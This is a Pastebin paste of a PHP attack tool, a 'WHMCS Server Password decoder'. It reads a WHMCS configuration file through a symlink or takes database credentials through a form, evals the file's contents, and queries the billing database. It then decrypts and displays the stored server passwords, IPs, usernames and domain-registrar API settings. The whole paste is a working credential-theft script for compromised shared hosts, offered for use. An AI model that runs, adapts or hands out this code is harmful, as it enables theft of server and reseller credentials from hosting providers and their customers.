Advertisement
parkdream1

whmcs.php

Jul 12th, 2013
337
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 7.08 KB | None | 0 0
  1. <?php
  2. ###########################################
  3. #      WHMCS Server Password decoder  
  4. #                                                          
  5. #          frozen.hearts@yahoo.com          
  6. #Note : I'm Proud to be ~~Pakistan~~    
  7. ###########################################
  8.  
  9.  
  10. function decrypt ($string,$cc_encryption_hash)
  11. {
  12.     $key = md5 (md5 ($cc_encryption_hash)) . md5 ($cc_encryption_hash);
  13.     $hash_key = _hash ($key);
  14.     $hash_length = strlen ($hash_key);
  15.     $string = base64_decode ($string);
  16.     $tmp_iv = substr ($string, 0, $hash_length);
  17.     $string = substr ($string, $hash_length, strlen ($string) - $hash_length);
  18.     $iv = $out = '';
  19.     $c = 0;
  20.     while ($c < $hash_length)
  21.     {
  22.         $iv .= chr (ord ($tmp_iv[$c]) ^ ord ($hash_key[$c]));
  23.         ++$c;
  24.     }
  25.     $key = $iv;
  26.     $c = 0;
  27.     while ($c < strlen ($string))
  28.     {
  29.         if (($c != 0 AND $c % $hash_length == 0))
  30.         {
  31.             $key = _hash ($key . substr ($out, $c - $hash_length, $hash_length));
  32.         }
  33.         $out .= chr (ord ($key[$c % $hash_length]) ^ ord ($string[$c]));
  34.         ++$c;
  35.     }
  36.     return $out;
  37. }
  38.  
  39. function _hash ($string)
  40. {
  41.     if (function_exists ('sha1'))
  42.     {
  43.         $hash = sha1 ($string);
  44.     }
  45.     else
  46.     {
  47.         $hash = md5 ($string);
  48.     }
  49.     $out = '';
  50.     $c = 0;
  51.     while ($c < strlen ($hash))
  52.     {
  53.         $out .= chr (hexdec ($hash[$c] . $hash[$c + 1]));
  54.         $c += 2;
  55.     }
  56.     return $out;
  57. }
  58.  if($_POST['form_action'] == 1 )
  59.  {
  60.  //include($file);
  61.  $file=($_POST['file']);
  62. $text=file_get_contents($file);
  63. $text= str_replace("<?php", "", $text);
  64. $text= str_replace("<?", "", $text);
  65. $text= str_replace("?>", "", $text);
  66. eval($text);
  67.     $link=mysql_connect($db_host,$db_username,$db_password) ;
  68.         mysql_select_db($db_name,$link) ;
  69. $query = mysql_query("SELECT * FROM tblservers");
  70. while($v = mysql_fetch_array($query)) {
  71. $ipaddress = $v['ipaddress'];
  72. $username = $v['username'];
  73. $type = $v['type'];
  74. $active = $v['active'];
  75. $hostname = $v['hostname'];
  76. echo("<center><table border='1'>");
  77. $password = decrypt ($v['password'], $cc_encryption_hash);
  78. echo("<tr><td>Type</td><td>$type</td></tr>");
  79. echo("<tr><td>Active</td><td>$active</td></tr>");
  80. echo("<tr><td>Hostname</td><td>$hostname</td></tr>");
  81. echo("<tr><td>Ip</td><td>$ipaddress</td></tr>");
  82. echo("<tr><td>Username</td><td>$username</td></tr>");
  83. echo("<tr><td>Password</td><td>$password</td></tr>");
  84.  
  85. echo "</table><br><br></center>";
  86. }
  87.     $link=mysql_connect($db_host,$db_username,$db_password) ;
  88.         mysql_select_db($db_name,$link) ;
  89. $query = mysql_query("SELECT * FROM tblregistrars");
  90. echo("<center>Domain Reseller <br><table border='1'>");
  91. echo("<tr><td>Registrar</td><td>Setting</td><td>Value</td></tr>");
  92. while($v = mysql_fetch_array($query)) {
  93. $registrar     = $v['registrar'];
  94. $setting = $v['setting'];
  95. $value = decrypt ($v['value'], $cc_encryption_hash);
  96. if ($value=="") {
  97. $value=0;
  98. }
  99. $password = decrypt ($v['password'], $cc_encryption_hash);
  100. echo("<tr><td>$registrar</td><td>$setting</td><td>$value</td></tr>");
  101.  
  102.  
  103.  
  104.  
  105. }
  106. echo "</table><br><br></center>";
  107. }
  108.  
  109.  
  110.  if($_POST['form_action'] == 2 )
  111.  {
  112.  //include($file);
  113.  $db_host=($_POST['db_host']);
  114.  $db_username=($_POST['db_username']);
  115.  $db_password=($_POST['db_password']);
  116.  $db_name=($_POST['db_name']);
  117.  $cc_encryption_hash=($_POST['cc_encryption_hash']);
  118.  
  119.  
  120.  
  121.     $link=mysql_connect($db_host,$db_username,$db_password) ;
  122.         mysql_select_db($db_name,$link) ;
  123. $query = mysql_query("SELECT * FROM tblservers");
  124. while($v = mysql_fetch_array($query)) {
  125. $ipaddress = $v['ipaddress'];
  126. $username = $v['username'];
  127. $type = $v['type'];
  128. $active = $v['active'];
  129. $hostname = $v['hostname'];
  130. echo("<center><table border='1'>");
  131. $password = decrypt ($v['password'], $cc_encryption_hash);
  132. echo("<tr><td>Type</td><td>$type</td></tr>");
  133. echo("<tr><td>Active</td><td>$active</td></tr>");
  134. echo("<tr><td>Hostname</td><td>$hostname</td></tr>");
  135. echo("<tr><td>Ip</td><td>$ipaddress</td></tr>");
  136. echo("<tr><td>Username</td><td>$username</td></tr>");
  137. echo("<tr><td>Password</td><td>$password</td></tr>");
  138.  
  139. echo "</table><br><br></center>";
  140. }
  141.  
  142.     $link=mysql_connect($db_host,$db_username,$db_password) ;
  143.         mysql_select_db($db_name,$link) ;
  144. $query = mysql_query("SELECT * FROM tblregistrars");
  145. echo("<center>Domain Reseller <br><table border='1'>");
  146. echo("<tr><td>Registrar</td><td>Setting</td><td>Value</td></tr>");
  147. while($v = mysql_fetch_array($query)) {
  148. $registrar     = $v['registrar'];
  149. $setting = $v['setting'];
  150. $value = decrypt ($v['value'], $cc_encryption_hash);
  151. if ($value=="") {
  152. $value=0;
  153. }
  154. $password = decrypt ($v['password'], $cc_encryption_hash);
  155. echo("<tr><td>$registrar</td><td>$setting</td><td>$value</td></tr>");
  156.  
  157.  
  158.  
  159.  
  160. }
  161. echo "</table><br><br></center>";
  162. }
  163.  
  164.  
  165.  
  166. ?><body bgcolor="#000000">
  167.  <style>
  168. BODY { SCROLLBAR-BASE-COLOR: #191919; SCROLLBAR-ARROW-COLOR: olive;   color: white;}
  169. textarea{background-color:#191919;color:red;font-weight:bold;font-size: 12px;font-family: Tahoma; border: 1px solid #666666;}
  170. input{FONT-WEIGHT:normal;background-color: #191919;font-size: 13px;font-weight:bold;color: red; font-family: Tahoma; border: 1px solid #666666;height:17}
  171. </style>
  172. <center>
  173. <font color="#FFFF6FF" size='+3'>[ ~~ WHMCS Server Password decoder ~~ ]</font><br><br>
  174. <font color="#0066FF" size='+2'>Symlink to configuration.php of WHMCS</font><br>
  175. </center>
  176. <FORM action=""  method="post">
  177. <input type="hidden" name="form_action" value="1">
  178. <br>
  179.  <input type="text" size="30" name="file" value="">
  180. <br>
  181. <INPUT class=submit type="submit" value="Submit" name="Submit">
  182. </FORM>
  183. <hr>
  184. <br>
  185. <center>
  186. <font color="#0066FF" size='+2'>DB configuration of WHMCS</font><br>
  187. </center>
  188. <FORM action=""  method="post">
  189. <input type="hidden" name="form_action" value="2">
  190. <br>
  191. <table border=1>
  192. <tr><td>db_host </td><td><input type="text" size="30" name="db_host" value="localhost"></td></tr>
  193. <tr><td>db_username </td><td><input type="text" size="30" name="db_username" value=""></td></tr>
  194. <tr><td>db_password</td><td><input type="text" size="30" name="db_password" value=""></td></tr>
  195. <tr><td>db_name</td><td><input type="text" size="30" name="db_name" value=""><td></tr>
  196. <tr><td>cc_encryption_hash</td><td><input type="text" size="30" name="cc_encryption_hash" value=""></td></tr>
  197. </table>
  198. <br>
  199. <INPUT class=submit type="submit" value="Submit" name="Submit">
  200. </FORM>
  201. <hr>
  202. <center>
  203. <font color="#0066FF" size='+2'>Password decoder</font><br>
  204. <?
  205.  if($_POST['form_action'] == 3 )
  206.  {
  207.  
  208.  
  209.  $password=($_POST['password']);
  210.  $cc_encryption_hash=($_POST['cc_encryption_hash']);
  211.  
  212. $password = decrypt ($password, $cc_encryption_hash);
  213. echo("Password is ".$password);
  214. }
  215. ?>
  216. </center>
  217. <FORM action=""  method="post">
  218. <input type="hidden" name="form_action" value="3">
  219. <br>
  220. <table border=1>
  221. <tr><td>Password</td><td><input type="text" size="30" name="password" value=""></td></tr>
  222. <tr><td>cc_encryption_hash</td><td><input type="text" size="30" name="cc_encryption_hash" value=""></td></tr>
  223. </table>
  224. <br>
  225. <INPUT class=submit type="submit" value="Submit" name="Submit">
  226. </FORM>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement